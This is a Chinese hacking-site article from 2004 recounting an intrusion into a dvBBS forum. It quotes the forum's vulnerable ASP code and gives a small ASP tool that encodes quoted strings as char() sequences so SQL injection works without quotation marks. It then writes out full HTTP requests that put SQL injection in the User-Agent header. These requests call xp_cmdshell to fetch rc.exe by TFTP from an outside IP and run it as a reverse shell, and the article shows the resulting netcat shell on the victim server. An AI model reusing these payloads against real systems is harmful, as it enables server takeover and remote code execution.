您的位置:首页网络冲浪黑客天空 → dvBBS漏洞及入侵一则

dvBBS漏洞及入侵一则

时间:2004/10/8 16:38:00来源:本站整理作者:蓝点我要评论(11)

    论坛登陆名: N.E.V.E.R
提交者邮件地址: N.E.V.E.R@tom.com
提交者QQ号码: 1143431
标题: dvBBS漏洞及入侵一则
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!

内容:
Hacking/Cracking的道路总是艰辛的……
常常看到的文章是写某人多么牛逼,一路视各种障碍如草芥,势如破竹的攻破某台服务器,我一直怀疑这是小说的手法,因为我在做的时候总是磕磕碰碰,简单问题都会弄很久,这不,比如对bbs.xxxxxxxx.com的攻击就是。
接到这个任务是什么时候我都忘了,反正有一天南阳岩冰叫我看看他的论坛,我稀里糊涂的就答应下来,但是隔了好多天才想到要去看看。那天过去一看,哈哈,很眼熟的论坛嘛,就是叫什么名字我忘了,厚着脸皮在QQ上问了一下,才知道是大名鼎鼎的动网论坛,呵呵,怪不得满地都是。
然后我到网上去找动网论坛的漏洞文章,找到后我又突然懒得去看了,就算有人家也补上了吧,看了也白搭,不如省下点时间作毕设。
又过了几天,论文实在是写不下去,于是去网上下了一个动网的最新版的论坛来看代码,看啊看的就睡着了……
醒过来的时候,口水把键盘都弄湿掉了,管理员说宿舍要消毒,又叫我们快走,匆匆忙忙的只好拷到优盘带到学校朋友的机器上去看。在学校折腾了一个多小时,终于眼睛一亮,bbseven.asp中有这么一段:

if request("act")="删除" then
if request.form("lid")="" then
founderr=true
Errmsg=Errmsg+"
"+"
  • 请指定相关事件。"
    else
    lid=replace(request.Form("lid"),"'","")
    end if
    end if

    if founderr then exit sub

    if request("act")="删除" then
    conn.execute("delete from log where l_id in ("&lid&")")

    当时我的心律就到了120,我不知道lid是xxxx);drop table admin;--时是怎样,上面那个replace是不是太轻率?马上我就想到可以给自己的论文里面加500字以上了(刚好我的论文也有关于SQL Injection的部分),于是我就在论文里面添了一段SQL Injection Without Quotation Mark,并在接下来的两天内好好的研究了一下。嗯,结果做了一个小的.asp,贴出来看看啊,反正大概的意思就是比如'AB'完全可以用char(65)+char(66)表示,大家有意见发到n.e.v.e.r@tom.com给我好了。

    ======================= Cut Here ==========

    =============


    填上SQL语句!
    " method="POST">

    #0099FF;BORDER-BOTTOM: #0099FF 1px solid; BORDER-LEFT: #0099FF 1px solid; BORDER-RIGHT: #0099FF 1px solid; BORDER-TOP: #0099FF 1px solid; FONT-SIZE: 9pt;BACKGROUND-COLOR: #000000">




    <%
    LINK_CHAR = "+" '字符串连接符号是+吗?
    strIn=Request("in")
    strIn = strIn & "--"
    strTemp = split(strIn,"'")
    i = 0
    'On Error Resume Next
    Do while NOT IsNull(strTemp(i))
    If InStr(strTemp(i),"--") Then
    Exit Do
    End if
    i = i + 2
    Loop
    'response.write i
    For j = 0 To i - 1 Step 2
    strOut = strOut & strTemp(j)
    For k = 0 To len(strTemp(j+1))-1
    strOut = strOut & "char(" & asc(left(right(strTemp(j+1),len(strTemp(j+1))-k),1))&")" & LINK_CHAR
    Next
    strOut = left(strOut, len(strOut)-len(LINK_CHAR))
    Next
    If InStr(strTemp(i), "--")<>0 Then
    strOut = strOut & left(strTemp(i), InStr(strTemp(i), "--") - 1)
    End if
    response.write strOut
    %>
    ======================= Cut Here =========


    ==============
    我不知道我找的这个地方是不是确实是漏洞,因为没有办法去测试,我总不能去求南阳岩冰给我一个管理员权限来删日志吧,那还不如直接要计算机的账号好了。总之就是磨蹭了这么久,只给我的论文加了633个字而已。
    还是不甘心,于是又继续作论文,做到再一次做不下去时,又来看代码。
    呵呵,又给我找到有问题的地方了,char.asp中有这么一段话:

    sql="ShowHOT_COM_inst_online_char 2,"&statuserid&",'"&m


    embername&"','"&memberclass&"','"&Request.ServerVariables("REMOTE_HOST")&"',"&boardid&",'"&Request.ServerVariables("HTTP_USER_AGENT")&"','"&replace(stats,"'","")&"','"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")&"',"&UserGroupID&",'"&actCome&"',"&userhidden&","&userid&""

    Request.ServerVariables("HTTP_USER_AGENT")之类的是用户浏览器提交的,不见得老老实实的就是IE啊什么。动网的那些人该不是把这个留作后门的吧?
    我用F3搜索包含这段后门代码的函数activeonline(),找到了很多,我选了一个boardhelp.asp来测试。为了调试方便,我改了一下char.asp,添加了一些输出,当然,是inc目录下面的char.asp,另外的char.asp都是骗人的。
    测试成功后我马上拨号上网(测试成功已经是好几个小时后的事情了),告诉南阳岩冰有问题然后建了一张表,留言后就下网了。
    等了两天都没有反应,我想还是进去看看吧,我就再次拨号上网,这次不是建表这么简单了,我要得到最高权限才罢休。我设计好了一整套方案,先修改管理员的密码,再登陆上传文件,得到shell后提升权限,哈哈,是不是很完美啊?
    我觉得人要乐观一点,于是我想先试试MSSQL存储过程能不能调用,下面是简单的过程,简直是异乎寻常的顺利啊。嗯,十八岁以下的小朋友就不要看了,免得犯罪。

    NC到bbs.xxxxxxxx.com的80口,提交如下的请求

    GET /boardhelp.asp HTTP/1.1
    Accept: */*
    Accept-Language: zh-cn
    Accept-Encoding: gzip, deflate
    User-Agent: 1','1','1',2,'c',1);exec master.dbo.xp_cmdshell 'tftp -i 61.155.251.70 get rc.exe';--
    Host: bbs.xxxxxxxx.com
    Connection: Keep-Alive
    Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=IILFJNDALPMLEMDLCKKFFMJG

    我开了TFTP服务的,我想成功的话它会从我的机器上下载一个rc.exe,这是我写的一个小东西,不会被查杀的。然后我断线再拨(因为如果BBS在Online表中查到了你的IP的话,就不会执行到有问题的那一句了),在本机监听1102端口,再次连接到bbs.xxxxxxxx.com,提交

    GET /boardhelp.asp HTTP/1.1
    Accept: */*
    Accept-Language: zh-cn
    Accept-Encoding: gzip, deflate
    User-Agent: 1','1','1',2,'c',1);exec master.dbo.xp_cmdshell 'rc.exe


     61.155.250.193 1102';--
    Host: bbs.xxxxxxxx.com
    Connection: Keep-Alive
    Cookie: iscookies=0; ASPSESSIONIDGGQGQTDQ=
    IILFJNDALPMLEMDLCKKFFMJG

    NC开始反应了,呵呵

    D:\hack>nc -l -p 1102
    The shell is now!
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) 版权所有 1985-2000 Microsoft Corp.

    C:\WINNT\system32>ipconfig /all
    ipconfig /all


    Windows 2000 IP Configuration

    Host Name . . . . . . . . . . . . : dns
    Primary DNS Suffix . . . . . . . :
    Node Type . . . . . . . . . . . . : Broadcast
    IP Routing Enabled. . . . . . . . : No
    WINS Proxy Enabled. . . . . . . . : No

    Ethernet adapter 本地连接:

    Connection-specific DNS Suffix . :
    Description . . . . . . . . . . . : HP 10/100TX PCI Ethernet Driver
    Physical Address. . . . . . . . . : 00-30-6E-36-57-AA
    DHCP Enabled. . . . . . . . . . . : No
    IP Address. . . . . . . . . . . . : ★.★.★.★
    Subnet Mask . . . . . . . . . . . : ★.★.★.★
    Default Gateway . . . . . . . . . : ★.★.★.★
    DNS Servers . . . . . . . . . . . : ★.★.★.★
    ★.★.★.★

    哇哈哈哈……我刚要进一步动作,结果突然上网卡没钱断掉了,看来我天生命就不该做坏事,shit!
    嗯,到这里基本上是顺利的攻破了吧。其实实际的情况是很惨不忍睹的,我前后拨号上网十几次,中间断线,打错字符,还有之前的安装MSSQL失败,IIS出问题,断电,看错代码空高兴十几秒钟等等等等。不过写的时候还是只把主要的过程写出来,要是要去写整个过程的话,估计一篇长篇叙事小说就会诞生了。

  • 相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

    文章评论
    发表评论

    热门文章 黑客大战直播网址 黑客

    最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

    人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具